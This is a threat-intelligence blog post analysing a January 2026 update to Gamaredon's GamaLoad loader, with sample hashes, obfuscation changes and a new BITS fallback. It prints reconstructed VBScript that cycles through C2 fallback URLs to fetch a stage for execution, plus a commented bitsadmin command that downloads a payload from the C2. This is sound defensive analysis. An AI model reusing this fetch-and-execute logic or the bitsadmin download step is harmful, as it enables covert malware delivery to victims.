

Synaptic Security Blog

 blog.synapticsystems.de/gamaredon-now-downloading-via-windows-updates-best-friend

robin

January 13, 2026



There's yet another update in Gamaredon's GamaLoad scripts, which pushed me to write this article and to slightly revisit my previous post [“Defending Against Gamaredon: Practical Controls That Actually Work”](#).

In this article, I distinguish between **GamaLoad** and **Pterodo**. I still consider GamaLoad a transitional stage, primarily implemented as a defensive layer to slow down analysis rather than as a fundamentally new capability.

That said, there are visible changes both in **payload delivery** and in **obfuscation**.

I'll mainly focus on what has changed since my last posts. If you're interested in the broader context and historical behavior, have a look at the previous articles first.

For this analysis, I pulled the latest Gamaredon sample with the hash:

3538618e0ae0f7e73d96843d90323178b1d434262a074fc24be8e36283e7dd92

and dropped it straight into my tracking framework.

From a delivery perspective, not much has changed compared to Gamaredons last shift. The victim still receives a **RAR archive as an attachment**. When opened or extracted, it drops an **HTA file into the Startup folder**, infecting the system on the next reboot.

A few minutes later, my tracking system already picked up the first fresh GamaLoad samples for analysis.

When comparing these new samples to the December 2025 batch, one thing immediately stood out:

they are almost twice as large and noticeably more obfuscated.

```
324 e9685f2954ce826f32d46cafbbd18663f40d5637dff30c266057ad09a9d25cfd-2025-12
338 efd658328ea3e56b58345fc917fc7056bd310c34e9066f8912e03cb1114d5d16-2025-12
357 ce90862cb1cd0786e7061a01598389fca9086571d59831dc599311fd362cf3ec-2025-12
361 f10a3555827fa4170329e2c541a73b475cbd06dbddb1ca125fbf1c897f66a968-2025-12
368 8a1d343d71c796961f8018ee3a87caed8b040012719cafe3cfc76a3305a48b4a-2025-12
387 17d541fd5b384888b4be13baefa221e6ad9b68d1d45bb3031d5cd64f5bc9f18b-2025-12
412 a1a637cd661b102dcc0bb7b10c9dfffc8de63d1337cec7be9fc0c8bfdca2f9973-2025-12
432 87fc6d5e4e9a07c0693d3e93502b69fff4324c52554c4dc78120416d819e1360-2025-12
462 65a20ea4db674f4955672903dceac1d86b6d7f6515b1574c65a7ac29f698e279-2025-12
465 c962db8db440e2a862314a8f1bfc0f678be76afc737c4518fbc19686e9b4db0c-2025-12
482 05dfa95c820014e8c5c37d4155d8e6f2dba5c6b1ba78148924e02fcf350feca7-2025-12
488 8ab82d44e8485b055866e1912a509c8dbf4388ce7b7921f8e4ae077ec8272bda-2025-12
500 b8112820e1d74daabedda025399f65cff8d24fa043107eefcdbe4625d08fa1be-2025-12
503 a0767ed264e28f31544b40991e9dff095409819843ef78f4f9d7dbc757538fa7-2025-12
504 9b40696bd66462f6bb23b0ee7c22503a453ad4fd9920e7ee1c65c8fc60ebe05a-2025-12
510 8955b5be7c64e2b1c6e5784fee69560c20728cfb61d56ed530eacfeb39edd19a-2025-12
512 4ec57649262e09f4665108677f3866b04703b12bb6a6cf1fc5c0bc0be334f7c2-2025-12
520 6f130e8aee19ab1281c7934bdebecd3c8225dcb7be0a9d9320ea0bfbcc6b2a49-2025-12
537 b15b5cb704aeb4bb1522f5100972cebcfb853e2e8419439e05f8380fbd2e1462-2025-12
537 b46b106d6425cbe7e1d852731fd881fd60403c6ce470c76501b65a32dd187994-2025-12
555 e93dc2414c23c3b4b5a7b77eb239ed157748281aca0b62cf6c1545dc108d1bf4-2025-12
573 4a49d54d7bc751b4ad3ade1550777c40c431174f9c22766ca7b8b5305b879799-2025-12
596 cd97cc002ed515739ff9d7cf6a026b9ae368db2e64a816e9374b3162fc75def7-2025-12
1141 60d30efc12e08291a9ef14399e6141846b42c9788ace92096a73b94accde6015-2026-01
1187 10196dfe3354f33d04def7dfb642ba9f1f668168f9525b7c236e57b23097b85-2026-01
1194 a5789a5adfa743b2f1c67ff9bf3c8fb551abab664a276d7aa2f1c38b98a1fef0-2026-01
1314 d5d82fb71307bcdceed9afdcaa4f9e6fb8910db25cb94b3362503acccfd7511f-2026-01
1424 6d02b7992126ec44d7cc119cb276d52cd019edb7cf803ab9fed35e324b4e0df5-2026-01
```

(Left column: line count, right column: hash+date)

The obfuscation hasn't just increased (which, honestly, doesn't help much given how terrible Gamaredons obfuscation usually is :D), but it has also become **slightly** smarter.

Historically, their scripts contained tons of junk loops that served absolutely no purpose and could simply be deleted during manual deobfuscation. In the newer samples, however, more variables defined inside those junk blocks are later reused in the actual execution flow.

So if you're still deobfuscating by hand or your automation isn't fully mature yet, you'll want to be a bit more careful here.

```
1470 do while raymondxmo < 90095
1471
1472 bundleVky = CreateObject(heartybzg).RegRead(railu62)
1473 raymondxmo = raymondxmo + 12
1474
1475 Set processionkPJ = CreateObject(lookgCl).CreateTextFile(encyclopediakxq, true, false)
1476 harshR2i = "msxml2.xmlhttp"
1477 processionkPJ.Write deductioniGW(ridiculousEWp)
1478
1479 processionkPJ.Close
1480 ' Variable is used in dead loop. new!
1481 larkxGg = improbableW67.serialnumber
1482 CreateObject(refusedmyQ).Run squadronjWZ,false
1483 Loop
1484 commanderGck = fogWe3(Int((UBound(fogWe3)+1)*Rnd()))
1485 resolveq0M_larkxGg
```

(Variable larkxGg is defined in the junk loop, but used after it)

The Interesting Part

A few days ago, I published an article showing how surprisingly easy it is to defend against Gamaredon by blocking a small set of Windows tools such as **mshta.exe** or **MSXML2.XMLHTTP**. If you're honest about it, Gamaredon's tooling is... let's say "not exactly impressive". Blocking a handful of abused LOLBins already makes payload delivery painfully difficult for them. Their development is slow, incremental, and often fairly predictable.

Well, i guess they noticed.

The defensive measures described in that article have now been bypassed.
Don't worry though, we'll adjust accordingly

Fallback on Fallback: Now Featuring BITS

The new GamaLoad script still relies on a familiar **fallback structure** to retrieve and execute payloads from their delivery infrastructure.

```

119 Function MainStageResolver()
120     Dim stageCode
121
122     stageCode = TryFetchStage(PRIMARY_C2)
123
124     If Not g_stageFound Then stageCode = TryFetchStage(FALLBACK_IP)
125
126     If Not g_stageFound Then
127         | stageCode = TryFetchStage("https://" & BuildRandomStagePath() & "@" & FALLBACK_DOMAIN)
128     End If
129
130     If Not g_stageFound Then
131         | ' check-host parse -> build http://<extracted> -> fetch
132         | stageCode = TryFetchStage( ResolveViaCheckHost() )
133     End If
134
135     If Not g_stageFound Then
136         | stageCode = TryFetchStage("https://" & BuildRandomStagePath() & "@" & MYVNC_HOST)
137     End If
138
139     If Not g_stageFound Then
140         | stageCode = TryFetchStage( ResolveViaRegistry(HKCU_FALLBACK) )
141     End If
142
143     If g_stageFound Then
144         MainStageResolver = stageCode
145     Else
146         MainStageResolver = ""
147     End If
148 End Function
149

```

```

72 Function TryFetchStage(baseUrl)
73     Dim stagePath : stagePath = BuildRandomStagePath()
74     Dim url : url = baseUrl & "/" & stagePath
75
76     Dim http : Set http = CreateObject(HTTP_PROGID)
77     http.Open "GET", url, False
78     http.SetRequestHeader "User-Agent", BuildUserAgent()
79     http.SetRequestHeader "Cookie", "considerablezz9"
80     http.SetRequestHeader "Content-Length", "4559" ' avoid proxy usage from analysts
81     http.Send
82
83     If http.Status = 200 Then
84         Dim bodyText : bodyText = BytesToUtf8Text(http.ResponseBody)
85         If Len(bodyText) > 80 Then
86             g_stageFound = True
87             TryFetchStage = bodyText
88             Exit Function
89         End If
90     End If
91
92     ' 404 toggles internal state in the original (signals "use this base but stage missing")
93     TryFetchStage = ""
94 End Function

```

Conceptually, this is very simple: the script keeps trying different URLs until one successfully returns a payload. If everything fails, an empty string is returned.

What's new is that this fallback logic now has... another fallback.

```
178 If stage <> "" Then
179 | ' Original does: ExecuteGlobal(stage) (sometimes after base64 decode path)
180 Else
181 | FallbackBitsadminDownload
182 End If
```

```
163 Sub FallbackBitsadminDownload()
164 | ' Original:
165 | 'bitsadmin /transfer joyful <PRIMARY_C2>/<computername> %TEMP%\mowU4N.t
166 End Sub
```

If no payload stage can be retrieved via the usual mechanisms, the script switches to downloading the payload using **bitsadmin**.

What is bitsadmin?

bitsadmin is a Windows utility used to control the **Background Intelligent Transfer Service (BITS)**, which provides reliable background downloads and uploads.

Attackers abuse it as a **Living-off-the-Land Binary (LOLBin)** to quietly retrieve payloads without dropping additional tooling onto disk.

From an attacker's perspective, BITS has some very attractive properties:

- resilient background transfers
- native proxy support
- high reliability on unstable networks
- no obvious “malware-looking” process tree

exactly the kind of boring enterprise plumbing malware loves to hide in ^^

Why Gamaredon Switched to BITS

For years, Gamaredon heavily relied on classic LOLBins such as **mshta.exe** and **MSXML2.XMLHTTP** for payload delivery and execution.

By now, these techniques are:

- blocked by default in many environments (AppLocker, ASR rules, EDR hardening)
- trivial to detect via signatures and behavior
- operationally noisy (suspicious child processes, script artifacts, obvious telemetry)

BITS lives in a much more comfortable gray zone:

- it supports persistent and robust downloads
- it is actively used by Windows itself (Windows Update, Defender, Office, etc.)
- blocking it outright often creates operational risk in enterprise environments

- its network traffic looks boring and legitimate (`svchost.exe`, Microsoft-like headers)
- it works reliably behind proxies and restrictive networks

if your previous delivery pipeline keeps getting kicked in the teeth by defenders, BITS is a logical next step even for an actor whose tooling evolution is usually measured in geological time.

Is This a Problem?

Not really.

In my article “[Defending Against Gamaredon: Practical Controls That Actually Work](#)”, I now show how you can effectively mitigate BITS abuse without breaking normal business operations.

So yes: Gamaredon adapted.

And yes we'll adapt again. That's kind of the point.